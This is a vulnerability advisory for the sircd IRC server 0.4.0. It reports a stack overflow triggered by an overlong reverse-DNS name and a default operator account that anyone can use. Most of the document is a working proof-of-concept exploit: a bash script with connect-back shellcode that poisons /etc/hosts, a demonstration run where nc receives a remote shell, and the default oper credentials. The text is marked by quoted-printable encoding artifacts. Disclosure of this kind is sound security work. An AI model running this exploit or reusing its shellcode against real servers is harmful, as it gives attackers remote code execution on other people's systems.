COMMAND

	sircd remote overflow

SYSTEMS AFFECTED

	sircd v0.4.0, sircd-0.4.4

PROBLEM

	From Knud Erik Højgaard [kain@ircop.dk] advisory :
	
	 I. BACKGROUND
	
	According to the vendor "The 'sircd' project started  as  an  idea  from
	the QuakeNet IRC Network coding team to develop  a  completely  new  irc
	server that had none of the problems  of  the  original  ircd,  such  as
	instability, scalability  issues,  redundant,  badly  written  code  and
	other nasty things. "
	
	 More info is available at http://www.sircd.org.
	
	 II. DESCRIPTION
	
	a:  Insufficient  bounds  checking  leads  to  execution  of   arbitrary
	code.=20
	
	b: Default oper account matching *!*@*
	
	 III. ANALYSIS
	
	a:
	
	Upon checking the reverse dns of a  connecting  user,  if  the  returned
	value is longer than a certain length a classic stack overflow occurs.
	
	The buffer may be constructed as such:  [94  bytes  of  crap][EBP  ][EIP
	][400 bytes for nops and shellcode], leaving us  with  plenty  of  space
	both before and after eip to store our shellcode.=20
	
	The accompanying .sh script is a silly proof of concept.=20 Below  is  a
	fabricated copy of a typical run:
	
	[shell 1]
	$ nc -l -v -p 10000
	listening on [any] 10000 ...
	
	[shell 2]
	# ./sircd.sh 127.0.0.1
	
	sircd 0.4.0 proof-of-concept, usage ./sircd.sh <ip-of-attacker>
	
	UID check passed, backing up /etc/hosts
	Now connect to the sircd from 127.0.0.1
	Press a key and enter to restore /etc/hosts
	asd
	Game over man, game over
	#
	
	[shell 3]
	$ sircd &
	[1] 75711
	$
	
	
	 sircd:  v0.4.0 Alpha
	 Author(s)
	   Zarjazz (zarjazz@barrysworld.com)
	
	sircd initialized
	SSL initialized
	
	$ BitchX 127.0.0.1
	[snip some bitchx output]
	[fi]  *** Welcome to the_server
	[fi]  *** Resolving IP 127.0.0.1
	--from here on the connection freezes.
	
	[shell 2]
	fah
	Game over man, game over
	#
	
	[shell 1]
	connect to [127.0.0.1] from [garbage snipped] [127.0.0.1] 1869
	id
	uid=3D1001(sircd-user) gid=3D1001(sircd-user) groups=3D1001(sircd-user)
	
	 
	 b: type /oper bod bod bod in a connected irc-client.
	
	 Exploit
	 =======
	
	#!/usr/local/bin/bash
	# /usr/ports/irc/sircd ; sircd v0.4.0; FreeBSD 4.7-RELEASE-p2
	# shellcode=3Dconnect back to port 10000 shellcode (72 bytes) by bighawk
	# lousy script by knud
	echo -e "\nsircd 0.4.0 proof-of-concept, usage $0 <ip-of-attacker>\n"
	
	# assign variables
	attackerip=3D$1
	filler=3D`perl -e 'print "B" x 94'`
	returnaddress=3D`perl -e '$i=3Dpack("l",0xbfafec04);print $i'`
	egg=3D`perl -e 'print "\x90" x 328 . =
	"\x31\xc9\xf7\xe1\x51\x41\x51\x41\x51\x51\xb0\x61\xcd\x80\x89\xc3\x68\x7f
	\x01\x01\x01\x66\x68\x27\x10\x66\x51\x89\xe6\xb2\x10\x52\x56\x50\x50\xb0\
	x62\xcd\x80\x41\xb0\x5a\x49\x51\x53\x53\xcd\x80\x41\xe2\xf5\x51\x68\x2f\x
	2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x54\x53\x53\xb0\x3b\xcd\x80"'`
	
	attackstring=3D`echo "$filler$returnaddress$returnaddress$egg"` #read->  
	                         127.0.0.1^^^^^^^^^^^^^^^
	
	# need uid=3D0 to modify /etc/hosts=20
	if [ $UID -gt 0 ];=20
	then               =20
	echo "UID =3D $UID, !=3D 0, cannot continue";=20
	else=20
	echo "UID check passed, backing up /etc/hosts"
	# if we end up here all is well
	cp /etc/hosts /etc/hosts.$$
	echo -e "$attackerip\t$attackstring\t$attackstring" > /etc/hosts
	echo -e "Now connect to the sircd from $attackerip"
	echo -e "Press a key and enter to restore /etc/hosts"
	read restore
	if [ $restore =3D "" ];
	then cp /etc/hosts.$$ /etc/hosts
	else cp /etc/hosts.$$ /etc/hosts
	echo "Game over man, game over"
	fi
	fi
	

SOLUTION

	The fix has been incorporated in the CVS tree as per 04/02-03